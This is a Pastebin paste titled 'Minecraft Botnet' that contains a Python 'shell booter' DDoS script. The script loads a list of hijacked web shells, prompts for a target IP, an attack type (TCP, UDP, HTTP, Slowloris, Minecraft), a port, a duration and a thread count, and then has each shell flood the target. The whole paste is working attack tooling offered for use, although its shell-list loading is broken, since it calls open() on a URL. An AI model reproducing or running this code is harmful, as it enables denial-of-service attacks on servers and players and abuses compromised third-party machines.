Advertisement
Sweetening

Minecraft Botnet

Mar 6th, 2024
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.85 KB | None | 0 0
  1. import threading
  2. import time
  3. import os
  4. import re
  5. import socket
  6. import requests
  7. from urllib.parse import quote, urlparse
  8.  
  9. # Terminal color constants
  10. class TermColor:
  11. HEADER = '\033[95m'
  12. OKBLUE = '\033[94m'
  13. OKGREEN = '\033[92m'
  14. WARNING = '\033[93m'
  15. FAIL = '\033[91m'
  16. ENDC = '\033[0m'
  17. BOLD = '\033[1m'
  18. UNDERLINE = '\033[4m'
  19.  
  20. print(TermColor.OKGREEN + 'Loading Shells')
  21.  
  22. try:
  23. with open("https://pastebin.com/raw/yUL9mhDC", "r") as f:
  24. hosts = f.read().splitlines()
  25. except Exception as e:
  26. print(TermColor.FAIL + 'Unable to load shells. Exiting. Error: {}'.format(e))
  27. exit()
  28.  
  29. packets = 0
  30. port = 0
  31. page = "/"
  32. mbs = 0.00
  33. count = 0
  34.  
  35. print('Shell booter (DDoSer) coded by ' + TermColor.WARNING + 'Milenko aka Freak')
  36. print(TermColor.OKGREEN, '{} Shells Loaded.\n'.format(len(hosts)))
  37. target = input("IP: ")
  38.  
  39. attacktype = input("Attack type (TCP/UDP/HTTP/SLOWLORIS/MINECRAFT): ").upper()
  40.  
  41. proxiesenabled = "no"
  42.  
  43. if attacktype in ["TCP", "UDP", "MINECRAFT"]:
  44. if attacktype == "UDP":
  45. target = socket.gethostbyname(target)
  46. print("Resolved hostname into " + target)
  47. port = input("Attack port: ")
  48. elif attacktype in ["HTTP", "SLOWLORIS"]:
  49. port = "80"
  50. page = input("Page: ")
  51. if attacktype == "HTTP":
  52. proxiesenabled = input("Use glype proxies? (y/n): ").lower()
  53. if proxiesenabled in ["y", "yes"]:
  54. scheme = input("Scheme (http or https): ")
  55. proxy_list_location = input("Proxy list location: ")
  56. with open(proxy_list_location, "r") as f:
  57. proxylist = f.read().splitlines()
  58. if attacktype == "SLOWLORIS":
  59. sockets = input("Sockets: ")
  60.  
  61. seconds = int(input("Time: "))
  62. thread_count = int(input("Threads: "))
  63.  
  64. def fire(host, ip, attacktype, port, page="/"):
  65. global packets
  66. global mbs
  67.  
  68. host = host.strip()
  69. attacktype = attacktype.strip()
  70. page = page.strip()
  71.  
  72. url = f"{host}?type={attacktype}&host={ip}&port={port}&time={seconds}"
  73. if attacktype in ["HTTP", "SLOWLORIS"]:
  74. url += f"&page={page}"
  75. if attacktype == "SLOWLORIS":
  76. url += f"&sockets={sockets}"
  77.  
  78. try:
  79. reply = requests.get(url).text
  80. packets += int(re.sub("\D", "", reply))
  81. mb = packets * 1024 / 1024
  82. mbs += mb
  83. except Exception as e:
  84. print(TermColor.FAIL + f"{host} returned {e}" + TermColor.OKGREEN)
  85.  
  86. def worker(hosts, target, attacktype, port, page):
  87. for host in hosts:
  88. fire(host, target, attacktype, port, page)
  89.  
  90. threads = []
  91. for i in range(thread_count):
  92. thread = threading.Thread(target=worker, args=(hosts, target, attacktype, port, page))
  93. threads.append(thread)
  94. thread.start()
  95.  
  96. for thread in threads:
  97. thread.join()
  98.  
  99. print(TermColor.OKGREEN + "Attack completed. Press enter to exit.")
  100. input()
  101.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement